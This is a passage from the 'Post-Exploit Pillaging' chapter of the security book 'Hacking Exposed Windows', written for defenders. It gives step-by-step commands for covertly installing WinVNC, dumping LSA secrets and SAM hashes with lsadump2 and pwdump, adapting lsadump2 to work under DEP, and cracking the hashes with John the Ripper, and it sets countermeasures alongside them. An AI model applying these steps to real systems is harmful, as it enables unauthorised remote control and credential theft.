(www.realvnc.com). The \nVNC program is a lightweight, highly functional remote-control application. Running \nVNC remotely does take some manual labor, but the fruits of that labor can be \nexhilarating.\nFirst off, make sure your administrative share is still intact and be sure you have a \ncommand-line shell on the remote system already established. Then follow these steps:\n \n1. Create the following fi le and name it winvnc.ini. (This will set your password \nto secret to connect with VNC securely.)\nHKEY_USERS\\.DEFAULT\\Software\\ORL\\WinVNC3\n SocketConnect = REG_DWORD 0x00000001\n Password = REG_BINARY 0x00000008 0x57bf2d2e 0x9e6cb06e\n \n2. Copy the following fi les to the target system:\nC:\\>copy regini.exe d:\\windows\\system32\nC:\\>copy winvnc.ini d:\\windows\\system32\nC:\\>copy winvnc.exe d:\\windows\\system32\nC:\\>copy vnchooks.dll d:\\windows\\system32\nC:\\>copy omnithread_rt.dll d:\\windows\\system32\n \n3. Update the Registry with your winvnc.ini settings:\nC:\\>regini -m \\\\192.168.0.5 winvnc.ini\n \n4. From the remote system’s command line, install the winvnc service:\nRemote C:\\>winvnc –install\n \n5. Start the service:\nRemote C:\\>net start winvnc\n \n6. From your system, start the vncviewer application that comes with the \ndistribution and point it to your target, 192.168.0.5:0 (the 0 is for the display). \nType in the password secret, and you should have complete GUI control as if \nyou were sitting at the physical machine. If you wish to use the Java version \nof the GUI, you can connect with your browser to port 5800:\nhttp://192.168.0.5:5800\n" }, { "page_number": 224, "text": "196 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nPort Redirection\nPopularity:\n6\nSimplicity:\n8\nImpact:\n9\nRisk Rating:\n8\nWe’ve discussed a number of techniques used for gaining remote interactive control of \na Windows system. However, all these have been based on the prerequisite of direct \nconnections. In many instances, having a direct connection into a system is simply not \navailable, and a more indirect method must be devised. This is the job of port redirectors.\nOnce an attacker compromises a target, he or she can use port redirection tools to \nforward packets to a specified destination beyond a firewall. Basically, this technique turns \na firewall into a doorstop. In essence, port redirectors move the activities on one port over \nto another. A good example of this is when a firewall allows all ports above 1024 into the \ntarget network, but the firewall blocks the Windows system ports 139 and 445 (the ones the \nattacker really wants). So, once a system has already been compromised behind the firewall \nwith a web exploit or a Solaris bug, the attacker can set up a port redirector to redirect the \ntraffic from one port, say 2000, to the real port that she wants, say 139:\n" }, { "page_number": 225, "text": "Chapter 7: Post-Exploit Pillaging \n197\nThis type of attack enables an attacker potentially to access any system behind a \nfirewall.\nOne of our favorite port redirectors for Windows systems is fpipe, a TCP redirector \nfrom Foundstone, Inc. The program works much like traditional port redirectors with one \nsignificant difference: the attacker can specify a source port address. Setting a source port \naddress allows the attacker to set the source port statically to something that the firewall \nin between the attacker and their target will allow. For example, the attacker may find a \nfirewall that allows traffic through if the source port of the traffic is TCP port 20. This can \nbe a common firewall misconfiguration, as TCP port 20 is required for outbound FTP \ntraffic to work. Also, in versions earlier than Vista, Windows IPSec implementation \npermits traffic with a source port of TCP/UDP 88 as well as all broadcast traffic to pass \nIPSec filters by default (see Knowledge Base article 810207). Fpipe can be used to source \nattacks to IPSec-protected systems if this default configuration is not changed.\nCountermeasures to Remote Control\nIf an attacker has administrative credentials on a system, you can’t do much to stop him \nor her from exercising such control remotely, beyond simply shutting down remote net-\nwork access to the system altogether. For example, eliminating access to the NetBIOS \nover TCP/IP port (TCP 139) or the SMB over TCP port (TCP 445) can mitigate against \nremote interactive control using tools like PsExec, which require those services to oper-\nate. More broadly, it’s always good to ensure that your firewall rules do not allow unau-\nthorized communications (for example, Microsoft Terminal Services RDP protocol, TCP \n3389) to sensitive hosts.\nTo determine whether someone has “remoted” your own local system, you can use \nthe built-in netstat tool to see if you can identify rogue listening (or connected!) services. \nFoundstone’s Vision tool also excels at this and offers the ability to kill potentially rogue \nprocesses right from the GUI. The PipeList tool from Sysinternals is good for displaying \nall the named pipes that are being used on a system, revealing PsExec connections and \nother remote sessions via named pipes.\nAlso native commands on XP, Windows 2003, and up can be useful to determine \nwhether something has happened; however, you need to be careful because those tools, \nif run on the potentially cracked system, might have been replaced with trojanized tools \nor the DLLs they use. Commands can include, but are not limited to, NET.EXE, NETSTAT\n.EXE with new options, and TASKLIST.EXE.\nIf you are one of the unlucky ones who finds an intruder on your system, you can kill \nthe attacker’s connection and then remove the offending program. For example, WinVNC \ncan be removed using the following commands:\nC:\\>net stop winvnc\nC:\\>winvnc –remove\nC:\\>reg delete HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\WinVNC\n" }, { "page_number": 226, "text": "198 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nMining System Data\nPopularity:\n9\nSimplicity:\n5–8\nImpact:\n9\nRisk Rating:\n9\nOne of the next steps an attacker will take once administrative access is gained is to \nmine the system for sensitive data that could lead to further compromise. Numerous \ntechniques can be used for mining this data:\n• File searching\n• Keystroke logging\n• Trojan logon screens\n• Packet sniffi ng\nEach is discussed in the following sections.\nFile Searching\nWith a Windows command shell, an attacker will either use the tools native to the \noperating system or upload his own. Native tools on Windows that can be put to nefarious \nuse include dir, find, and findstr.\nThe dir and find commands are quite primitive relative to findstr, which \ncompetes with the legendary UNIX grep utility. The beauty of findstr is the utility’s \nversatility. For example, the program can look at the beginning (/B) or end (/E) of the \nline only for the string. We frequently use it for its subdirectory searching (/S) feature. In \nthe following example, we use findstr to check all the Excel spreadsheets (.xls) on the \nC: drive for the word payroll:\nC:\\>findstr /s \"payroll\" *.xls\nFinally, a number of vendors make free Windows versions of popular UNIX tools \nsuch as grep, sed, awk, and others. A number of these tools are included in the Window \nResource Kit, including grep.exe. Also, software vendors such as Mortice Kern Systems, \nInc. (MKS), and Cygwin offer UNIX tools ported to the Windows platform. Any serious \nWindows security professional should have such tools in his or her toolkit.\nTo use grep on a remote system, just upload the file to the directory of your choice \nand type the following:\nC:\\>grep \"password\" *.*\nThis will search all the files in the current directory for the word password.\n" }, { "page_number": 227, "text": "Chapter 7: Post-Exploit Pillaging \n199\nThe graphical equivalent of these command-line tools is simply using your favorite \ndirectory viewer such as Windows Explorer or the Windows search feature itself. \nMapping a drive on the target machine (H:) and then searching the entire drive for files \nwith certain keywords is trivial.\nMore recently, with the proliferation of desktop search clients that passively index \nentire hard drives, performing such searches has gotten much easier. Attackers will seek \nout Google Desktop, MSN/Windows search services, and similar utilities for this reason. \nWindows Vista integrates search into just about every UI in the operating system, from \nthe Start menu to the default Windows Explorer.\nKeystroke Logging\nIf none of the preceding steps leads to any juicy information, or none can be leveraged to \ngain deeper access into the network, an attacker will try to put a keystroke logger on the \nsystem that will sniff passwords from the keyboard. The premise is simple: sooner or \nlater someone on the affected system will log in to another system or another Windows \ndomain, and the keystroke logger will catch the user’s credentials.\nKeystroke loggers are typically fairly stealthy in that most often they sit between the \nkeyboard hardware and the operating system, on a kernel level, recording every \nkeystroke. Numerous Windows keystroke loggers exist today. One we’ve used frequently \nis Invisible Keylogger Stealth (IKS) (see “References and Further Reading”). This product \nis installed as a low-level device driver, so it’s always running and can capture even the \nCTRL-ALT-DEL sequence and password to log in to the system itself.\nIn addition, IKS is built for remote installation (directions exist in the readme file). \nThe only downside is that the keylogged system must be rebooted before the device \ndriver can begin sniffing the keystrokes. Of course, this can be done quite easily assuming \none of the remote interactive control mechanisms discussed earlier in this chapter has \nbeen implemented. Numerous keyloggers exist, all of which use different methods to get \ncaptured information to the attacker—some examples include local encrypted textfiles, \ncommunication channels through SMTP, and HTTP. Again the “benefits” of using \nencrypted/obfuscated text versus cleartext to protect data are valid.\nTrojan Logon\nThe Graphical Identification and Authorization (GINA) is the middleman between the \nuser and the Windows authentication system in versions prior to Vista. When you boot \nyour computer and the screen asks you to type CTRL-ALT-DEL to log in, this is the GINA in \naction. Of course, due to the intimate nature of the GINA, many hackers have focused \nmuch attention on inserting malicious code in between the user and the operating system \nin order to capture passwords.\nOne issue with some sample custom GINA is that when administrators add new \npatches to the system it might cause instability issues due to having components, in this \ncase custom GINA, which are not original vendor-submitted ones.\n" }, { "page_number": 228, "text": "200 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nFor example, FakeGINA from Arne Vidstrom of Ntsecurity.nu (see “References and \nFurther Reading”) intercepts communication requests between Winlogon and the GINA, \ncapturing the CTRL-ALT-DEL username and password. FakeGINA then writes those \ncaptured usernames and passwords in a text file. FakeGINA is relatively easily installed \nfrom a remote hacker’s system with the ability to edit the Registry and reboot the system \nremotely.\nIn Windows Vista, the GINA model was discontinued and replaced by the more \npowerful Credential Provider model. This new model is extendable and based on the \nCOM technology.\nIt is possible to intercept data sent to one of the default Credential Providers by \ncreating a COM proxy that sits between the original Credential Provider and the user. \nBecause several examples of how to achieve this are currently available on the Internet, \nwe will not go deeper into the topic here. (See “References and Further Reading” for \nmore information.)\nAuthenticating data can also be accessed by adding extensions to the Local Security \nAuthority (LSA) subsystem, such as network providers, password complexity DLLs, \nand so on. One countermeasure for hacking the LSA subsystem is to block ACL write \naccess to certain registry keys. Here’s an example:\nHKLM\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order\nName\nData Type\nValue\nProviderOrder\nNot needed on ACL change\nNot referred due to ACL change\nPacket Sniffi ng\n“Sniffing” packets off the wire during normal authentication is one of the most effective \nways of gleaning usernames and passwords. This is possible because many common \nnetwork protocols (such as telnet and FTP) do not implement encryption and therefore \npass credentials over the wire in cleartext.\nProbably one of the most popular commercial tools for general packet analysis is the \ntried-and-true Sniffer Pro from Network Associates, Inc.—now Network General. The \nearly command-line version has been the staple of many a network administrator’s \ntoolkit, and its Windows product has quickly extended its dominance. A popular \nWindows command-line packet analyzer is the free Snort tool.\nA number of utilities are commonly used by hackers to listen for and extract user-\nnames and passwords from network traffic. The original dsniff application was written \nfor UNIX by Dug Song. Dsniff is one of the best-written packet capture engines available. \nIt automatically parses a variety of applications and retrieves only the username and \npasswords for each. The initial Win32 port of dsniff was written by Mike Davis. The \n" }, { "page_number": 229, "text": "Chapter 7: Post-Exploit Pillaging \n201\nWin32 port does not include many of the utilities found in the UNIX version, such as \narpredirect, but it performs the functions needed for sniffing passwords.\nWireshark is an amazing cross-platform sniffing tool. It comes in both graphical and \ncommand-line versions. The graphical tool ships with protocol decodes that are \ncomprehensive and up to date. The command-line version is called tethereal, and it \nrequires that the Winpcap driver be installed on the remote system. Use the undocumented \n-n switch to run tethereal without name resolution—this significantly improves \nperformance because it won’t try to resolve all the hostnames of the addresses it finds on \nthe network automatically. Currently, Wireshark does not automatically parse packets \nand extract authentication data like most of the other tools we’ve mentioned here, but we \nstill love this tool.\nCountermeasures for Data Mining\nAs with most of the attacks discussed in this chapter, the best countermeasure is barring \nan attacker from gaining administrative privilege on your system in the first place. If a \nhacker has already gained this privilege to your system, your best recourse is to restore \nfrom trusted backups.\nWe also recommend that you read Chapter 8 to learn how to uncover stealth software \non your system. One interesting theme we’ve encountered is the requirement to reboot \nvictim systems after low-level hacking tools have been installed (such as keyboard logger \ndrivers and fake GINAs). Good Event Log–monitoring hygiene should catch unscheduled \nreboots like this. However, a lack of reboots should not be considered proof that a fake \nGINA or other such tool has not been installed.\nThe only true countermeasure for network sniffing is the use of encryption technology \nsuch as Secure Shell (SSH), Secure Sockets Layer (SSL), secure e-mail via Pretty Good \nPrivacy (PGP), or IP-layer encryption like that supplied by IPSec-based VPN products. \nThis is the only hard and fast way to fight sniffing attacks.\nUsing IPSec packet authentication and encryption is effective for decreasing the \ncrackers’ ability to gain access to network traffic. On the other hand, an attacker can try \nto do different man-in-the-middle attacks for these protocols; in this cat-and-mouse \ngame, the user has to verify that an endpoint (where communication “ends”) is who it \nclaims to be. This can be achieved by checking certificates, using SSH fingerprints, and \nvarious other measures.\nPASSWORD EXTRACTION\nOnce administrator access is achieved, the attacker will typically attempt to pilfer \nadditional passwords from your system. By collecting passwords, the attacker is \neffectively collecting keys to various doors within the Windows environment. Each new \n" }, { "page_number": 230, "text": "202 \nHacking Exposed Windows: Windows Security Secrets & Solutions \npassword offers potential access into another component of the system, such as the SQL \ndatabase, the Excel payroll file, the web administrator directory, and other components \nidentified during data mining.\nIn addition, these passwords can be used to gain access into other systems and \nenvironments across the network, including Windows domains, SQL Server instances, \nMicrosoft Office collaboration servers (Exchange, SharePoint, and so on), SNA \ngateways, web application administration interfaces, and other juicy targets. If, for \nexample, an attacker were able to gain administrative access onto a Windows XP \ndesktop client and identified a local service running in the context of a privileged \ndomain user, she might be able to extract the locally cached credentials, leading to \ncompromise of the entire Windows domain. In our professional penetration testing \nexperience, this is the single most lucrative line of investigation for malicious attackers, \nsince password reuse is typically widespread in large distributed environments, thanks \nto basic human inability to remember much more than five or six complex passwords \nat any one time.\nA number of methods can be used to store passwords on the system. We’ll look at \neach place these passwords are stored and the mechanisms used to obtain the \npasswords.\nLSA Dumping\nPopularity:\n9\nSimplicity:\n9\nImpact:\n9\nRisk Rating:\n9\nThe LSA cache has been available for techniques for dumping cleartext passwords \nsince Windows NT 4.0 (assuming the attacker is logged in as Administrator or equivalent). \nSimilar techniques still work on Vista but require SYSTEM privileges.\nThis vulnerability definitively demonstrates the danger of storing credentials in the \nRegistry of Windows systems, especially if storage is located in the places where lower \nprivileges are needed to access it. Peering into the LSA Secrets area of the Registry, an \nattacker can view the following:\n• Windows service account passwords in plaintext (basically). These passwords \nare obfuscated with a simple algorithm and can be used to compromise an \nexternal system in another domain altogether.\n• Web user and FTP plaintext passwords.\n• Computer account passwords for domain access.\n• Cached password hashes of the last 10 (or more) logged-on users.\n" }, { "page_number": 231, "text": "Chapter 7: Post-Exploit Pillaging \n203\nThe original idea for the LSA Secrets exploit was publicly posed to the NT Bugtraq \nmailing list in 1997 by Paul Ashton. A tool based on this concept was written by the \nRazor Team and is available online: it’s called lsadump2 and is available at www.\nbindview.com/services/razor/utilities/. Lsadump2 uses the same technique as \npwdump2 to inject its own DLL function calls under the privilege of the running Local \nSecurity Authority Subsystem Service (LSASS) process. Another tool that can dump the \nsame information is Cain & Abel.\nFollowing is the typical methodology employed by an attacker:\n \n1. The attacker fi rst gains an administrative or higher connection to the target and \nstarts a remote shell.\n \n2. The attacker uploads the lsadump2.exe and lsadump.dll fi les to the remote \nsystem’s drive.\n \n3. Now the attacker can run the lsadump2 command to dump the credentials:\nC:\\>lsadump2\n…\nD6318AF1-462A-48C7-B6D9-ABB7CCD7975E-SRV\n 39 FD 26 E5 03 4C 89 47 89 0C AE 60 37 DD FE 15 9.&..L.G...`7...\nDPAPI_SYSTEM\n 01 00 00 00 ED 83 60 9F CB 9D 0A EE FB F8 08 6A ......`........j\n 70 35 AE 66 51 A6 1A EB D7 64 4D B3 4D CB 4E 98 p5.fQ....dM.M.N.\n C8 E4 9C DE 72 79 7D C9 6D 4E 10 E5 ....ry}.mN..\nL$BETA3TIMEBOMB_1320153D-8DA3-4e8e-B27B-0D888223A588\n 00 80 85 26 6A 9A C3 01 ...&j...\n_SC_MSSQLServer\n32 00 6D 00 71 00 30 00 71 00 71 00 31 00 61 00 2.h.a.p.p.y.4.m.\n_SC_SQLServerAgent\n 32 00 6D 00 71 00 30 00 71 00 71 00 31 00 61 00 2.h.a.p.p.y.4.m.\nAt the end of this printout are the two SQL service accounts and their associated passwords. \nAn attacker can use this password, 2happy4m, to gain extended access to the network and \nits resources.\nOlder versions of lsadump2 required you first to identify the ID of the LSASS process. This is no longer \nnecessary in the updated version, which automatically performs this function.\nWhile Microsoft developed different protection systems for Windows XP (and newer) \nversions, some of the old tools, such as lsadump2, might not work well directly but \ninstead require higher privileges or small modifications. Data Execution Protection \n(DEP) systems, for example, require small changes to the code of these older tools. Here’s \nan example, starting with the original code snippet from lsadump2.c:\nMEM_COMMIT, PAGE_READWRITE);\nAnd here’s an example with DEP systems:\nMEM_COMMIT, PAGE_EXECUTE_READWRITE);\n" }, { "page_number": 232, "text": "204 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nA link to more changes was posted on mailing lists in 2005, and the link to Full-\nDisclosure’s post is included in “References and Further Reading” later in the chapter. \nLsadump2 can also be modified to work in Windows Vista and Windows 2008, and code \nchanges are generally the same as those described for pwdump2 a bit later in this chapter \n(see “Dumping SAM and AD Passwords”).\nAnother area of interest are the cached domain passwords. By default, Windows \nstores the last 10 interactively logged-on users in this cache. In Windows Server 2008, the \ndefault value of stored logons is (as of this writing) set to 25. Storing is accomplished by \nhashing the hash of the credential, which means that cracking is possible but more slowly \nthan it normally is from otherwise obtained password hashes. Logon caching is required \nbecause when the machine is not connected to the network, such as when its user is \ntraveling or if the machine cannot resolve authentication servers, access to the verifier \nmust be available to administrators or techs to grant login to the computer to maintain \nthe machine. One of the first public tools for cracking cached domain passwords was \nCacheDump, which can be found on the Internet. You can rely on tools such as Cain & \nAbel or others that do the same thing.\nLSA Secrets Countermeasures\nBecause lsadump2 requires the SeDebug privilege, which is granted only to administra-\ntors by default, Microsoft considers this to be the area of a trusted administrator. Conse-\nquently, Microsoft considers this a feature and therefore few countermeasures have been \nmade available. The only real countermeasure in this scenario (apart from avoiding giv-\ning up administrator access to an attacker) is to avoid using services with passwords (not \nvery realistic, we know). Or you could harden the system to limit damages done quickly \nby attackers in the first place.\nTo mitigate the potential damage for dumping the cached domain password hashes, \nit is good practice to set the amount of cached logins to 1. This still allows cached login \nfor user, but it lowers the number of accounts that can be attacked via this mechanism \nfrom the default of 10 (or 25 in Server 2008). This can be set by the following Registry \nentry:\nHKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\nName\nData Type\nValue\nCachedLogonsCount\nREG_SZ\n1\nExtracting Data from the Protected Storage Service\nThe Protected Storage service is an application programming interface (API) designed to \nstore information in a secure way. The data inside the protected storage is Triple DES \nencrypted with a key tied to the user’s Windows credentials and transparently accessible \nfor all programs running in the user’s context.\n" }, { "page_number": 233, "text": "Chapter 7: Post-Exploit Pillaging \n205\nApplications that use the Protected Storage service include certain versions of \nOutlook, Outlook Express, MSN Explorer, and Internet Explorer versions 4 to 6. Starting \nwith IE 7, sensitive data is stored using the Data Protection API instead.\nProtected Storage PassView from NirSoft is one tool capable of extracting data from \nthe logged-on user’s Protected Storage, as shown in Figure 7-1.\nIntroduction to Application Credential Usage and the DPAPI\nThe Data Protection Application Programming Interface (DPAPI) is a set of operating \nsystem–based functions that provides data encryption and tampering protection. The \npublic part of the API is implemented as part of the CryptoAPI and is available to all \nrunning processes as part of the crypt32.dll. The private part of the API is available only \nto threads running within the LSASS process.\nFigure 7-1 PassView from NirSoft extracts data from the logged-on user’s protected storage.\n" }, { "page_number": 234, "text": "206 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nThe DPAPI can be used to protect both in-memory data and offline data. The \nfunctions used to encrypt data are CryptProtectData and CryptProtectMemory.\nThe \ncorresponding \ndecryption \nfunctions \nare \nCryptUnprotectData \nand \nCryptUnprotectMemory.\nThe data encryption can be either system-wide or user-specific, meaning that either \nall users on a specific system can decrypt the data or only the specific user encrypting the \ndata is capable of decrypting it. When encrypting data for a specific user, DPAPI uses the \nlogged-on user’s password to associate the encryption with a specific user. The user will \nnever notice this as the system transparently uses the password. An application that calls \nthe DPAPI encryption functions sends plaintext data to DPAPI and in return receives a \nprotected data BLOB. Decryption is done in the reverse, by passing the data BLOB to the \ndecryption function and receiving the plaintext data in return.\nUsing the logged-on user’s password is, however, not enough if an application wants \nto protect data from other processes running in the same user context. The DPAPI \nfunctions also accept an additional passphrase or entropy, which will be required to \ndecrypt the data successfully. Examples of applications that uses the DPAPI to store \nsensitive data securely are the Remote Desktop Connection client and IE 7.\nRecovering/Dumping Passwords in Internet Explorer 7\nAs mentioned, IE 7 uses a different method to store passwords. AutoComplete passwords \nare stored in the Registry using the URL as encryption key, making it necessary to know \nthe URL to recover AutoComplete passwords successfully.\nSaved credentials for websites are stored using DPAPI in the same file used for storing \nnetwork passwords when using the Credential Manager API (discussed in detail in the \nnext section).\nBoth categories of passwords can be recovered using the IE PassView tool from \nNirSoft (Figure 7-2). The tool requires administrative access to the system and requires \nthat the browser history contain URLs that can be used as keys for AutoComplete \npasswords.\nAccessing the Credential Manager\nThe Credential Management API was first introduced in Windows XP. It provides a \nmethod for applications and the operating system to associate additional credentials \nwith a Windows user account. The Credential Manager in XP is used to protect two \ntypes of credentials: domain and generic credentials. Domain credentials are used by \nthe operating system to, for example, establish network connections transparently. \nGeneric credentials are designed to be used by applications that perform authentication \ndirectly instead of relying on the authentication functions provided by the operating \nsystem.\nOne tool capable of extracting data stored with the Credential Management API is \nNetwork Password Recovery from NirSoft (Figure 7-3).\n" }, { "page_number": 235, "text": "Chapter 7: Post-Exploit Pillaging \n207\nFigure 7-2 IE PassView from NirSoft extracts the IE 7 stored data.\nFigure 7-3 Network Password Recovery extracts data from Credential Manager.\n" }, { "page_number": 236, "text": "208 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nPulling Stored Passwords\nPopularity:\n5\nSimplicity:\n8\nImpact:\n6–9\nRisk Rating:\n8\nThe Local Security Policy setting Store Passwords With Reversible Encryption (in the \nPassword Policy section of Account Policies) is applicable only to Active Directory (AD) \ndomain controllers. By default, this setting is disabled, meaning that passwords are not\nstored with reversible encryption—which is a good thing. However, if someone does\nenable this setting, she’ll cause all newly created passwords (from that moment forward) \nto be stored in the SAM/AD (Security Accounts Manager/AD) hashed form as normal, \nand also in a separate, reversibly encrypted format. Unlike one-way hashes, this format can \nbe easily reversed to the cleartext password if the encryption key is known.\nWhy would someone enable this? It turns out that certain remote authentication \nprotocols and services such as MSChap v1, Digest Authentication, AppleTalk Remote \nAccess, and Internet Authentication Services (IAS, which is essentially RADIUS) require \nthis setting. So if an attacker compromises a domain controller, she will likely immediately \ncheck this setting; if it’s enabled, she’ll run a tool to dump out everyone’s cleartext \npassword for the entire domain! Currently, no publicly available tools exist to perform \nthis task, but such a tool should be simple to build using widely documented APIs.\nDumping SAM and AD Passwords\nPopularity:\n9\nSimplicity:\n9\nImpact:\n9\nRisk Rating:\n9\nDumping passwords from the Registry can be a trivial exercise. Of course, with \nWindows 2003, the task is not entirely trivial, as the system uses the syskey function to \napply strong encryption to the SAM or AD database. This means that the usernames and \npasswords on the system are encrypted with 128-bit encryption, making it next to \nimpossible to crack the passwords. But these encrypted hashes can still be obtained \nthrough the use of the modified pwdump2 tool by Todd Sabin. (See “References and \nFurther Reading.”) Another addition is to patch these tools to support dumping password \nhistory from users, which can also increase the likelihood of more access around the \nnetwork since users tend to reuse or recycle passwords.\nThe generic technique used for getting the hashes is the same across all versions of the \nWindows operating system. Various tools use different vectors to achieve the same goal.\nPwdump2 uses a technique called dynamic link library (DLL) injection. In this technique, \none process forces another process to load an additional DLL and then executes code \nwithin the DLL in the other process’s address space and user context.\n" }, { "page_number": 237, "text": "Chapter 7: Post-Exploit Pillaging \n209\nTo use pwdump2, simply copy the two files (pwdump2.exe and samdump.dll) onto \nthe remote system, and then execute the pwdump2 command interactively on the remote \nsystem:\nRemote C:\\>pwdump2\nAdministrator:500:a962ae9062945822aad3b435b51404ee:ef830b06fc94947d66\n8d47abf388d388:::\nGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nSUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:28f30eb0bcce2\n3b95c5b1c23c771959f:::\nUnlike prior versions of Sabin’s pwdump2 tool, this new tool will “automagically” \ndetermine the LSASS process ID and perform the DLL injection. In the old version, you \nhad to determine the LSASS process manually with pulist.exe (another Resource Kit \nutility) and use it as a parameter with pwdump2.\nA newer version, pwdump3, offers minor modifications over pwdump2—the \nprimary one being that it can be run remotely against a compromised system. \n(Administrator-equivalent privileges are required, as always, as well as access to SMB \nservices TCP 139 or 445.) Pwdump3e will not run locally; it must be run against a remote \nmachine. Here is sample output of pwdump3e against a Windows 2003 Enterprise \nEdition server:\nC:\\> PwDump3e.exe 10.1.1.5\npwdump3e (rev 1) by Phil Staubs, e-business technology, 23 Feb 2001\nCopyright 2001 e-business technology, Inc.\nThis program is free software based on pwpump2 by Todd Sabin under the GNU\nGeneral Public License Version 2 (GNU GPL), you can redistribute it and/or\nmodify it under the terms of the GNU GPL, as published by the Free Software\nFoundation. NO WARRANTY, EXPRESSED OR IMPLIED, IS GRANTED WITH THIS\nPROGRAM. Please see the COPYING file included with this program (also\navailable at www.ebiz-tech.com/pwdump3) and the GNU GPL for further details.\nAdministrator:500:A962AE9062945822AAD3B435B51404EE:EF830B06FC94947D6\n68D47ABF388D388:::\nGuest:501:NO PASSWORD*********************:NO PASSWORD*********************:::\nSUPPORT_388945a0:1001:NO PASSWORD*********************:28F30EB0BCCE23B95C5B1C2\n3C771959F:::\nCompleted.\nIf the access to dump credentials from the memory is restricted, one can also try to \nfetch both SAM and SYSTEM files from a backup directory (making a new copy with the \nold rdisk /s -). Both files need to be fetched, as the SYSTEM file contains the SysKey \nwith which to decrypt the hashes from the SAM file. One such tool able to do this is \npwhist.exe, which is also able to dump password history.\nPwdump2 will not work out of the box in Windows Vista, because the LSASS process \nhas moved to the service Window Station/Desktop, which causes the CreateRemote-\nThread API to fail. As the source code for pwdump2 is publicly available, modified ver-\nsions exist that are capable of extracting the password hashes in Windows Vista. (See \n“References and Further Reading” for links to versions of this tool.)\n" }, { "page_number": 238, "text": "210 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nCountermeasure: Dumping SAM and AD Passwords\nOnce again, little can be done to prevent the dumping of password hashes once an \nattacker has gained administrative privilege on a Windows system. Your best bet is never \nto let an attacker gain administrative privilege to begin with.\nPASSWORD CRACKING\nAfter the encrypted passwords, or hashes, are obtained from the remote system, the \nattacker will typically move them into a file and run a password cracker against them to \nuncover the true password.\nMany are under the mistaken impression that password cracking is the decryption of \npassword hashes. This is not the case, however, as no known mechanisms exist for \ndecrypting passwords hashed using the Windows algorithms. Cracking is actually the \nprocess of hashing known words and phrases using the same algorithm and then \ncomparing the resulting hash to the hashes dumped using pwdumpX or some other \ntool. If the hashes match, the attacker knows what the cleartext value of the password \nmust be. Thus, cracking can be seen as a kind of sophisticated offline password \nguessing.\nCracking LM Hashes\nThe cracking process can be greatly optimized due to one of the key design failings of \nWindows, the LAN Manager (LM) hash. As discussed in Chapter 2, certain versions of \nWindows by default store two hashed versions of a user account’s password:\n• The LAN Manager (LM) hash\n• The NT hash\n(We go deeper into cracking NT hashes a little later in the chapter.)\nThe LM hash has an undesirable property (from an administrator’s point of view): \nthe effective key space is very small. Since the maximum effective password length is \nseven characters (as discussed in Chapter 5) and the passwords are case-insensitive, the \nmaximum number of unique LM hashes that can be generated from passwords is \napproximately 7.5 × 1012. Because most people do not use the entire range of printable \nASCII characters when choosing passwords, the actual complexity is far less. Depending \non the character set used, the number of unique LM hashes can be found by using the \nfollowing equations:\n• A–Z 26 characters in 7 positions = 267 ~ 8 × 109 hashes\n• A–Z + 0–9 36 characters in 7 positions = 367 ~ 8 × 1010 hashes\n• All printable 69 characters in 7 positions = 697 ~ 7.5 × 1012 hashes\n" }, { "page_number": 239, "text": "Chapter 7: Post-Exploit Pillaging \n211\nTwo feasible methods can be used to attack LM hashes. The first is straightforward \nand consists of generating all possible password/hash pairs and comparing them with a \nselection of target hashes—this is a brute force attack. Many programs available on the \nInternet can be used to perform this task, although performance varies quite a lot. The \nfollowing list shows benchmarks performed on an Intel G40 laptop (3 GHz CPU, 1 GB \nRAM) with Windows 2000 using lmbf v0.1 (available from www.toolcrypt.org), jtr \nv1.7.0.1, Cain & Abel v4.9, and L0phtcrack look-alike LCP v5.0.4:\n• lmbf 5.7 × 106 t/s for a single hash\n• jtr 5.0 × 106 t/s for a single hash\n• Cain & Abel 4.1 × 106 t/s for a single hash\n• LCP 1.5 × 106 t/s for a single hash\nPerformance drops slightly for multiple hashes, but since no salt (a random number \nadded to the encryption key or the password to protect it from disclosure) is used, they \ncan be effectively cracked in parallel.\nA little calculation shows that it would take approximately 15 days (697 ÷ (5.7 × 106 × \n3600 × 24)) to crack every possible LM hash using lmbf on a standard laptop. Since lmbf \ndoes not allow the use of different character sets—it works on the maximum character \nset only—we would use jtr for the other cases: to crack all hashes based on passwords \nusing only A–Z would take 27 minutes, and all hashes based on A–Z + 0–9 would take \n4 hours and 20 minutes.\nThe other feasible way to crack LM hashes is to use rainbow tables. The rainbow \ntable method is used to calculate all the hashes resulting from passwords with certain \nconstraints (up to seven characters long, using A–Z, and so on). These hashes are then \nstored so that only a fraction of the actual hashes has to be present on disk. This method \nis feasible because the key space has not been extended by the use of cryptographic salt. \nAssuming you have the time available to create the rainbow tables initially, and you \nhave the disk space to store them, you can crack any LM password in a minute or two.\nFollowing are some popular rainbow tables generated by RainbowCrack (see \n“References and Further Reading”):\n• A–Z Size 610 MB, success rate 99.90 percent\n• A–Z + 0–9 Size 5 GB, success rate 99.04 percent\n• All printable Size 64 GB, success rate: 99.90 percent\nThese figures should make it clear that an attacker who has obtained your LM hashes \nwill also be able to deduce the corresponding passwords, regardless of their complexity, \nas long as they consist of the printable ASCII characters.\nNext, we cover some tools that heavily automate the hash/compare cycle, especially \nagainst the LM hash, to the point that no poorly chosen password can resist discovery \nfor long.\n" }, { "page_number": 240, "text": "212 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nPassword Cracking with Command-line Tools \nsuch as John the Ripper and Lmbf\nPopularity:\n9\nSimplicity:\n8\nImpact:\n7\nRisk Rating:\n8\nOne of our favorite NT/2000/2003 password cracking tools is John the Ripper by \nSolar Designer. (See “References and Further Reading” for a link.) We also like lmbf.\nTo run John against a set of hashes, simply pass the filename as the first parameter:\nC:\\>john hashes.txt\nLoaded 13 passwords with no different salts (NT LM DES [24/32 4K])\nPASSWORD (administrator:1)\nHAPPY (backup:1)\nBy default, John performs dictionary attacks and uses some intelligence in how it \nperforms the crack attempts, including prepending and appending common \nmetacharacters, using the username as the password, and trying variations on the \nusername, to name a few. John can also be used to brute force accounts by using the \nincremental mode -i. Incremental mode uses the full character 